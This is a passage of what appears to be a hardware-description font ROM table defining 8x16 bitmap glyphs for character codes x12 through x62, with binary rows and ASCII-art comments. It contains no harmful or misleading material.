"00000110", -- a **
"00000010", -- b *
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x12
"00000000", -- 0
"00000000", -- 1
"00011000", -- 2 **
"00111100", -- 3 ****
"01111110", -- 4 ******
"00011000", -- 5 **
"00011000", -- 6 **
"00011000", -- 7 **
"01111110", -- 8 ******
"00111100", -- 9 ****
"00011000", -- a **
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x13
"00000000", -- 0
"00000000", -- 1
"01100110", -- 2 ** **
"01100110", -- 3 ** **
"01100110", -- 4 ** **
"01100110", -- 5 ** **
"01100110", -- 6 ** **
"01100110", -- 7 ** **
"01100110", -- 8 ** **
"00000000", -- 9
"01100110", -- a ** **
"01100110", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x14
"00000000", -- 0
"00000000", -- 1
"01111111", -- 2 *******
"11011011", -- 3 ** ** **
"11011011", -- 4 ** ** **
"11011011", -- 5 ** ** **
"01111011", -- 6 **** **
"00011011", -- 7 ** **
"00011011", -- 8 ** **
"00011011", -- 9 ** **
"00011011", -- a ** **
"00011011", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x15
"00000000", -- 0
"01111100", -- 1 *****
"11000110", -- 2 ** **
"01100000", -- 3 **
"00111000", -- 4 ***
"01101100", -- 5 ** **
"11000110", -- 6 ** **
"11000110", -- 7 ** **
"01101100", -- 8 ** **
"00111000", -- 9 ***
"00001100", -- a **
"11000110", -- b ** **
"01111100", -- c *****
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x16
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"11111110", -- 8 *******
"11111110", -- 9 *******
"11111110", -- a *******
"11111110", -- b *******
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x17
"00000000", -- 0
"00000000", -- 1
"00011000", -- 2 **
"00111100", -- 3 ****
"01111110", -- 4 ******
"00011000", -- 5 **
"00011000", -- 6 **
"00011000", -- 7 **
"01111110", -- 8 ******
"00111100", -- 9 ****
"00011000", -- a **
"01111110", -- b ******
"00110000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x18
"00000000", -- 0
"00000000", -- 1
"00011000", -- 2 **
"00111100", -- 3 ****
"01111110", -- 4 ******
"00011000", -- 5 **
"00011000", -- 6 **
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x19
"00000000", -- 0
"00000000", -- 1
"00011000", -- 2 **
"00011000", -- 3 **
"00011000", -- 4 **
"00011000", -- 5 **
"00011000", -- 6 **
"00011000", -- 7 **
"00011000", -- 8 **
"01111110", -- 9 ******
"00111100", -- a ****
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x1a
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00011000", -- 5 **
"00001100", -- 6 **
"11111110", -- 7 *******
"00001100", -- 8 **
"00011000", -- 9 **
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x1b
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00110000", -- 5 **
"01100000", -- 6 **
"11111110", -- 7 *******
"01100000", -- 8 **
"00110000", -- 9 **
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x1c
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"11000000", -- 6 **
"11000000", -- 7 **
"11000000", -- 8 **
"11111110", -- 9 *******
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x1d
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00100100", -- 5 * *
"01100110", -- 6 ** **
"11111111", -- 7 ********
"01100110", -- 8 ** **
"00100100", -- 9 * *
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x1e
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00010000", -- 4 *
"00111000", -- 5 ***
"00111000", -- 6 ***
"01111100", -- 7 *****
"01111100", -- 8 *****
"11111110", -- 9 *******
"11111110", -- a *******
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x1f
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"11111110", -- 4 *******
"11111110", -- 5 *******
"01111100", -- 6 *****
"01111100", -- 7 *****
"00111000", -- 8 ***
"00111000", -- 9 ***
"00010000", -- a *
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x20
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x21
"00000000", -- 0
"00000000", -- 1
"00011000", -- 2 **
"00111100", -- 3 ****
"00111100", -- 4 ****
"00111100", -- 5 ****
"00011000", -- 6 **
"00011000", -- 7 **
"00011000", -- 8 **
"00000000", -- 9
"00011000", -- a **
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x22
"00000000", -- 0
"01100110", -- 1 ** **
"01100110", -- 2 ** **
"01100110", -- 3 ** **
"00100100", -- 4 * *
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x23
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"01101100", -- 3 ** **
"01101100", -- 4 ** **
"11111110", -- 5 *******
"01101100", -- 6 ** **
"01101100", -- 7 ** **
"01101100", -- 8 ** **
"11111110", -- 9 *******
"01101100", -- a ** **
"01101100", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x24
"00011000", -- 0 **
"00011000", -- 1 **
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000010", -- 4 ** *
"11000000", -- 5 **
"01111100", -- 6 *****
"00000110", -- 7 **
"00000110", -- 8 **
"10000110", -- 9 * **
"11000110", -- a ** **
"01111100", -- b *****
"00011000", -- c **
"00011000", -- d **
"00000000", -- e
"00000000"),( -- f
-- code x25
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"11000010", -- 4 ** *
"11000110", -- 5 ** **
"00001100", -- 6 **
"00011000", -- 7 **
"00110000", -- 8 **
"01100000", -- 9 **
"11000110", -- a ** **
"10000110", -- b * **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x26
"00000000", -- 0
"00000000", -- 1
"00111000", -- 2 ***
"01101100", -- 3 ** **
"01101100", -- 4 ** **
"00111000", -- 5 ***
"01110110", -- 6 *** **
"11011100", -- 7 ** ***
"11001100", -- 8 ** **
"11001100", -- 9 ** **
"11001100", -- a ** **
"01110110", -- b *** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x27
"00000000", -- 0
"00110000", -- 1 **
"00110000", -- 2 **
"00110000", -- 3 **
"01100000", -- 4 **
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x28
"00000000", -- 0
"00000000", -- 1
"00001100", -- 2 **
"00011000", -- 3 **
"00110000", -- 4 **
"00110000", -- 5 **
"00110000", -- 6 **
"00110000", -- 7 **
"00110000", -- 8 **
"00110000", -- 9 **
"00011000", -- a **
"00001100", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x29
"00000000", -- 0
"00000000", -- 1
"00110000", -- 2 **
"00011000", -- 3 **
"00001100", -- 4 **
"00001100", -- 5 **
"00001100", -- 6 **
"00001100", -- 7 **
"00001100", -- 8 **
"00001100", -- 9 **
"00011000", -- a **
"00110000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x2a
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01100110", -- 5 ** **
"00111100", -- 6 ****
"11111111", -- 7 ********
"00111100", -- 8 ****
"01100110", -- 9 ** **
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x2b
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00011000", -- 5 **
"00011000", -- 6 **
"01111110", -- 7 ******
"00011000", -- 8 **
"00011000", -- 9 **
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x2c
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00011000", -- 9 **
"00011000", -- a **
"00011000", -- b **
"00110000", -- c **
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x2d
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"01111110", -- 7 ******
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x2e
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00011000", -- a **
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x2f
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000010", -- 4 *
"00000110", -- 5 **
"00001100", -- 6 **
"00011000", -- 7 **
"00110000", -- 8 **
"01100000", -- 9 **
"11000000", -- a **
"10000000", -- b *
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x30
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"11001110", -- 5 ** ***
"11011110", -- 6 ** ****
"11110110", -- 7 **** **
"11100110", -- 8 *** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x31
"00000000", -- 0
"00000000", -- 1
"00011000", -- 2
"00111000", -- 3
"01111000", -- 4 **
"00011000", -- 5 ***
"00011000", -- 6 ****
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"01111110", -- b **
"00000000", -- c **
"00000000", -- d ******
"00000000", -- e
"00000000"),( -- f
-- code x32
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"00000110", -- 4 **
"00001100", -- 5 **
"00011000", -- 6 **
"00110000", -- 7 **
"01100000", -- 8 **
"11000000", -- 9 **
"11000110", -- a ** **
"11111110", -- b *******
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x33
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"00000110", -- 4 **
"00000110", -- 5 **
"00111100", -- 6 ****
"00000110", -- 7 **
"00000110", -- 8 **
"00000110", -- 9 **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x34
"00000000", -- 0
"00000000", -- 1
"00001100", -- 2 **
"00011100", -- 3 ***
"00111100", -- 4 ****
"01101100", -- 5 ** **
"11001100", -- 6 ** **
"11111110", -- 7 *******
"00001100", -- 8 **
"00001100", -- 9 **
"00001100", -- a **
"00011110", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x35
"00000000", -- 0
"00000000", -- 1
"11111110", -- 2 *******
"11000000", -- 3 **
"11000000", -- 4 **
"11000000", -- 5 **
"11111100", -- 6 ******
"00000110", -- 7 **
"00000110", -- 8 **
"00000110", -- 9 **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x36
"00000000", -- 0
"00000000", -- 1
"00111000", -- 2 ***
"01100000", -- 3 **
"11000000", -- 4 **
"11000000", -- 5 **
"11111100", -- 6 ******
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x37
"00000000", -- 0
"00000000", -- 1
"11111110", -- 2 *******
"11000110", -- 3 ** **
"00000110", -- 4 **
"00000110", -- 5 **
"00001100", -- 6 **
"00011000", -- 7 **
"00110000", -- 8 **
"00110000", -- 9 **
"00110000", -- a **
"00110000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x38
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"11000110", -- 5 ** **
"01111100", -- 6 *****
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x39
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"11000110", -- 5 ** **
"01111110", -- 6 ******
"00000110", -- 7 **
"00000110", -- 8 **
"00000110", -- 9 **
"00001100", -- a **
"01111000", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x3a
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00011000", -- 4 **
"00011000", -- 5 **
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00011000", -- 9 **
"00011000", -- a **
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x3b
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00011000", -- 4 **
"00011000", -- 5 **
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00011000", -- 9 **
"00011000", -- a **
"00110000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x3c
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000110", -- 3 **
"00001100", -- 4 **
"00011000", -- 5 **
"00110000", -- 6 **
"01100000", -- 7 **
"00110000", -- 8 **
"00011000", -- 9 **
"00001100", -- a **
"00000110", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x3d
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01111110", -- 5 ******
"00000000", -- 6
"00000000", -- 7
"01111110", -- 8 ******
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x3e
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"01100000", -- 3 **
"00110000", -- 4 **
"00011000", -- 5 **
"00001100", -- 6 **
"00000110", -- 7 **
"00001100", -- 8 **
"00011000", -- 9 **
"00110000", -- a **
"01100000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x3f
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"00001100", -- 5 **
"00011000", -- 6 **
"00011000", -- 7 **
"00011000", -- 8 **
"00000000", -- 9
"00011000", -- a **
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x40
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"11000110", -- 5 ** **
"11011110", -- 6 ** ****
"11011110", -- 7 ** ****
"11011110", -- 8 ** ****
"11011100", -- 9 ** ***
"11000000", -- a **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x41
"00000000", -- 0
"00000000", -- 1
"00010000", -- 2 *
"00111000", -- 3 ***
"01101100", -- 4 ** **
"11000110", -- 5 ** **
"11000110", -- 6 ** **
"11111110", -- 7 *******
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"11000110", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x42
"00000000", -- 0
"00000000", -- 1
"11111100", -- 2 ******
"01100110", -- 3 ** **
"01100110", -- 4 ** **
"01100110", -- 5 ** **
"01111100", -- 6 *****
"01100110", -- 7 ** **
"01100110", -- 8 ** **
"01100110", -- 9 ** **
"01100110", -- a ** **
"11111100", -- b ******
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x43
"00000000", -- 0
"00000000", -- 1
"00111100", -- 2 ****
"01100110", -- 3 ** **
"11000010", -- 4 ** *
"11000000", -- 5 **
"11000000", -- 6 **
"11000000", -- 7 **
"11000000", -- 8 **
"11000010", -- 9 ** *
"01100110", -- a ** **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x44
"00000000", -- 0
"00000000", -- 1
"11111000", -- 2 *****
"01101100", -- 3 ** **
"01100110", -- 4 ** **
"01100110", -- 5 ** **
"01100110", -- 6 ** **
"01100110", -- 7 ** **
"01100110", -- 8 ** **
"01100110", -- 9 ** **
"01101100", -- a ** **
"11111000", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x45
"00000000", -- 0
"00000000", -- 1
"11111110", -- 2 *******
"01100110", -- 3 ** **
"01100010", -- 4 ** *
"01101000", -- 5 ** *
"01111000", -- 6 ****
"01101000", -- 7 ** *
"01100000", -- 8 **
"01100010", -- 9 ** *
"01100110", -- a ** **
"11111110", -- b *******
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x46
"00000000", -- 0
"00000000", -- 1
"11111110", -- 2 *******
"01100110", -- 3 ** **
"01100010", -- 4 ** *
"01101000", -- 5 ** *
"01111000", -- 6 ****
"01101000", -- 7 ** *
"01100000", -- 8 **
"01100000", -- 9 **
"01100000", -- a **
"11110000", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x47
"00000000", -- 0
"00000000", -- 1
"00111100", -- 2 ****
"01100110", -- 3 ** **
"11000010", -- 4 ** *
"11000000", -- 5 **
"11000000", -- 6 **
"11011110", -- 7 ** ****
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"01100110", -- a ** **
"00111010", -- b *** *
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x48
"00000000", -- 0
"00000000", -- 1
"11000110", -- 2 ** **
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"11000110", -- 5 ** **
"11111110", -- 6 *******
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"11000110", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x49
"00000000", -- 0
"00000000", -- 1
"00111100", -- 2 ****
"00011000", -- 3 **
"00011000", -- 4 **
"00011000", -- 5 **
"00011000", -- 6 **
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x4a
"00000000", -- 0
"00000000", -- 1
"00011110", -- 2 ****
"00001100", -- 3 **
"00001100", -- 4 **
"00001100", -- 5 **
"00001100", -- 6 **
"00001100", -- 7 **
"11001100", -- 8 ** **
"11001100", -- 9 ** **
"11001100", -- a ** **
"01111000", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x4b
"00000000", -- 0
"00000000", -- 1
"11100110", -- 2 *** **
"01100110", -- 3 ** **
"01100110", -- 4 ** **
"01101100", -- 5 ** **
"01111000", -- 6 ****
"01111000", -- 7 ****
"01101100", -- 8 ** **
"01100110", -- 9 ** **
"01100110", -- a ** **
"11100110", -- b *** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x4c
"00000000", -- 0
"00000000", -- 1
"11110000", -- 2 ****
"01100000", -- 3 **
"01100000", -- 4 **
"01100000", -- 5 **
"01100000", -- 6 **
"01100000", -- 7 **
"01100000", -- 8 **
"01100010", -- 9 ** *
"01100110", -- a ** **
"11111110", -- b *******
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x4d
"00000000", -- 0
"00000000", -- 1
"11000011", -- 2 ** **
"11100111", -- 3 *** ***
"11111111", -- 4 ********
"11111111", -- 5 ********
"11011011", -- 6 ** ** **
"11000011", -- 7 ** **
"11000011", -- 8 ** **
"11000011", -- 9 ** **
"11000011", -- a ** **
"11000011", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x4e
"00000000", -- 0
"00000000", -- 1
"11000110", -- 2 ** **
"11100110", -- 3 *** **
"11110110", -- 4 **** **
"11111110", -- 5 *******
"11011110", -- 6 ** ****
"11001110", -- 7 ** ***
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"11000110", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x4f
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"11000110", -- 5 ** **
"11000110", -- 6 ** **
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x50
"00000000", -- 0
"00000000", -- 1
"11111100", -- 2 ******
"01100110", -- 3 ** **
"01100110", -- 4 ** **
"01100110", -- 5 ** **
"01111100", -- 6 *****
"01100000", -- 7 **
"01100000", -- 8 **
"01100000", -- 9 **
"01100000", -- a **
"11110000", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x510
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"11000110", -- 5 ** **
"11000110", -- 6 ** **
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11010110", -- 9 ** * **
"11011110", -- a ** ****
"01111100", -- b *****
"00001100", -- c **
"00001110", -- d ***
"00000000", -- e
"00000000"),( -- f
-- code x52
"00000000", -- 0
"00000000", -- 1
"11111100", -- 2 ******
"01100110", -- 3 ** **
"01100110", -- 4 ** **
"01100110", -- 5 ** **
"01111100", -- 6 *****
"01101100", -- 7 ** **
"01100110", -- 8 ** **
"01100110", -- 9 ** **
"01100110", -- a ** **
"11100110", -- b *** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x53
"00000000", -- 0
"00000000", -- 1
"01111100", -- 2 *****
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"01100000", -- 5 **
"00111000", -- 6 ***
"00001100", -- 7 **
"00000110", -- 8 **
"11000110", -- 9 ** **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x54
"00000000", -- 0
"00000000", -- 1
"11111111", -- 2 ********
"11011011", -- 3 ** ** **
"10011001", -- 4 * ** *
"00011000", -- 5 **
"00011000", -- 6 **
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x55
"00000000", -- 0
"00000000", -- 1
"11000110", -- 2 ** **
"11000110", -- 3 ** **
"11000110", -- 4 ** **
"11000110", -- 5 ** **
"11000110", -- 6 ** **
"11000110", -- 7 ** **
"11000110", -- 8 ** **
"11000110", -- 9 ** **
"11000110", -- a ** **
"01111100", -- b *****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x56
"00000000", -- 0
"00000000", -- 1
"11000011", -- 2 ** **
"11000011", -- 3 ** **
"11000011", -- 4 ** **
"11000011", -- 5 ** **
"11000011", -- 6 ** **
"11000011", -- 7 ** **
"11000011", -- 8 ** **
"01100110", -- 9 ** **
"00111100", -- a ****
"00011000", -- b **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x57
"00000000", -- 0
"00000000", -- 1
"11000011", -- 2 ** **
"11000011", -- 3 ** **
"11000011", -- 4 ** **
"11000011", -- 5 ** **
"11000011", -- 6 ** **
"11011011", -- 7 ** ** **
"11011011", -- 8 ** ** **
"11111111", -- 9 ********
"01100110", -- a ** **
"01100110", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x58
"00000000", -- 0
"00000000", -- 1
"11000011", -- 2 ** **
"11000011", -- 3 ** **
"01100110", -- 4 ** **
"00111100", -- 5 ****
"00011000", -- 6 **
"00011000", -- 7 **
"00111100", -- 8 ****
"01100110", -- 9 ** **
"11000011", -- a ** **
"11000011", -- b ** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x59
"00000000", -- 0
"00000000", -- 1
"11000011", -- 2 ** **
"11000011", -- 3 ** **
"11000011", -- 4 ** **
"01100110", -- 5 ** **
"00111100", -- 6 ****
"00011000", -- 7 **
"00011000", -- 8 **
"00011000", -- 9 **
"00011000", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x5a
"00000000", -- 0
"00000000", -- 1
"11111111", -- 2 ********
"11000011", -- 3 ** **
"10000110", -- 4 * **
"00001100", -- 5 **
"00011000", -- 6 **
"00110000", -- 7 **
"01100000", -- 8 **
"11000001", -- 9 ** *
"11000011", -- a ** **
"11111111", -- b ********
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x5b
"00000000", -- 0
"00000000", -- 1
"00111100", -- 2 ****
"00110000", -- 3 **
"00110000", -- 4 **
"00110000", -- 5 **
"00110000", -- 6 **
"00110000", -- 7 **
"00110000", -- 8 **
"00110000", -- 9 **
"00110000", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x5c
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"10000000", -- 3 *
"11000000", -- 4 **
"11100000", -- 5 ***
"01110000", -- 6 ***
"00111000", -- 7 ***
"00011100", -- 8 ***
"00001110", -- 9 ***
"00000110", -- a **
"00000010", -- b *
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x5d
"00000000", -- 0
"00000000", -- 1
"00111100", -- 2 ****
"00001100", -- 3 **
"00001100", -- 4 **
"00001100", -- 5 **
"00001100", -- 6 **
"00001100", -- 7 **
"00001100", -- 8 **
"00001100", -- 9 **
"00001100", -- a **
"00111100", -- b ****
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x5e
"00010000", -- 0 *
"00111000", -- 1 ***
"01101100", -- 2 ** **
"11000110", -- 3 ** **
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x5f
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"11111111", -- d ********
"00000000", -- e
"00000000"),( -- f
-- code x60
"00110000", -- 0 **
"00110000", -- 1 **
"00011000", -- 2 **
"00000000", -- 3
"00000000", -- 4
"00000000", -- 5
"00000000", -- 6
"00000000", -- 7
"00000000", -- 8
"00000000", -- 9
"00000000", -- a
"00000000", -- b
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x61
"00000000", -- 0
"00000000", -- 1
"00000000", -- 2
"00000000", -- 3
"00000000", -- 4
"01111000", -- 5 ****
"00001100", -- 6 **
"01111100", -- 7 *****
"11001100", -- 8 ** **
"11001100", -- 9 ** **
"11001100", -- a ** **
"01110110", -- b *** **
"00000000", -- c
"00000000", -- d
"00000000", -- e
"00000000"),( -- f
-- code x62
"00000000", -- 0
"00000000", -- 1
"11100000", -- 2 ***
"01100000", -- 3 **
"01100000", -- 4 **
